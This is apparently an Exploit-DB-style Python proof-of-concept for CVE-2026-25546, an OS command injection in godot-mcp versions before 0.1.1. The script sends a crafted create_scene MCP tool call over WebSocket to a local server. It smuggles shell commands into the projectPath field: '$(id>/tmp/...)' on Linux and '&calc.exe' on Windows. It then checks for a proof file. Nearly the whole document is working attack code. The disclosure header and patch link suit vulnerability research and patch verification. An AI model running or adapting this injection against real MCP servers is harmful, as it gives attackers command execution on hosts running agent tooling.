#!/usr/bin/env python3 # # Exploit Title: godot-mcp < 0.1.1 - OS Command Injection via projectPath # CVE: CVE-2026-25546 # CWE: CWE-78 (OS Command Injection) # Date: 2026-02-04 # Exploit Author: Mohammed Idrees Banyamer # Author Handle: @banyamer_security # Author GitHub: https://github.com/mbanyamer # Vendor Homepage: https://github.com/Coding-Solo/godot-mcp # Software Link: https://github.com/Coding-Solo/godot-mcp # Vulnerable Version: < 0.1.1 # Fixed Version: 0.1.1 # Patch Commit: https://github.com/Coding-Solo/godot-mcp/commit/21c785d923cfdb471ea60323c13807d62dfecc5a # GHSA: GHSA-8jx2-rhfh-q928 # Tested on: Linux / Windows (Python 3.10+) # Requirement: pip install websockets # # Description: # godot-mcp versions prior to 0.1.1 are vulnerable to OS Command Injection # due to unsafe string interpolation of the 'projectPath' parameter when # passed to Node.js exec/execAsync calls. # # A remote attacker who can influence MCP tool parameters can inject # arbitrary shell commands via 'projectPath', resulting in command # execution with the privileges of the MCP server process. # # This PoC triggers command execution by invoking the vulnerable # 'create_scene' MCP tool over WebSocket with a crafted projectPath. # # Usage: # pip install websockets # python3 godot-mcp_cve-2026-25546_poc.py # # Notes: # Linux/macOS: creates /tmp/CVE_2026_25546_POC containing output of `id` # Windows: launches calc.exe if vulnerable # # WARNING: # For authorized security testing and research only. import asyncio import json import os import platform import websockets # ================================================== # Configuration # ================================================== MCP_WS_URL = "ws://127.0.0.1:8765" PAYLOAD_LINUX = "/tmp/godot/$(id>/tmp/CVE_2026_25546_POC)" PAYLOAD_WINDOWS = "C:\\temp\\godot\\&calc.exe" PAYLOAD = PAYLOAD_WINDOWS if platform.system() == "Windows" else PAYLOAD_LINUX # ================================================== async def exploit(): print("[*] CVE-2026-25546 - godot-mcp OS Command Injection PoC") print(f"[*] Target: {MCP_WS_URL}") print(f"[*] Payload: {PAYLOAD}") async with websockets.connect(MCP_WS_URL) as ws: # Minimal client handshake (optional but safe) await ws.send(json.dumps({ "type": "client", "name": "exploitdb-poc" })) # Malicious tool call payload = { "type": "tool_call", "tool": "create_scene", "parameters": { "projectPath": PAYLOAD, # Injection point "scenePath": "res://poc.tscn", "rootNodeType": "Node2D" } } print("[*] Sending malicious tool call...") await ws.send(json.dumps(payload)) try: resp = await asyncio.wait_for(ws.recv(), timeout=6) print("[*] Server response:", resp) except asyncio.TimeoutError: print("[*] No immediate response (expected in some setups)") # ================================================== # Proof of Execution # ================================================== print("\n[*] Checking exploitation result...") if platform.system() != "Windows": proof = "/tmp/CVE_2026_25546_POC" if os.path.exists(proof): print("[+] SUCCESS: Command execution confirmed") with open(proof, "r") as f: print(f.read()) else: print("[-] Proof file not found (target may be patched)") else: print("[*] If vulnerable, calc.exe should now be running") # ================================================== if __name__ == "__main__": try: asyncio.run(exploit()) except KeyboardInterrupt: print("\n[!] Interrupted by user")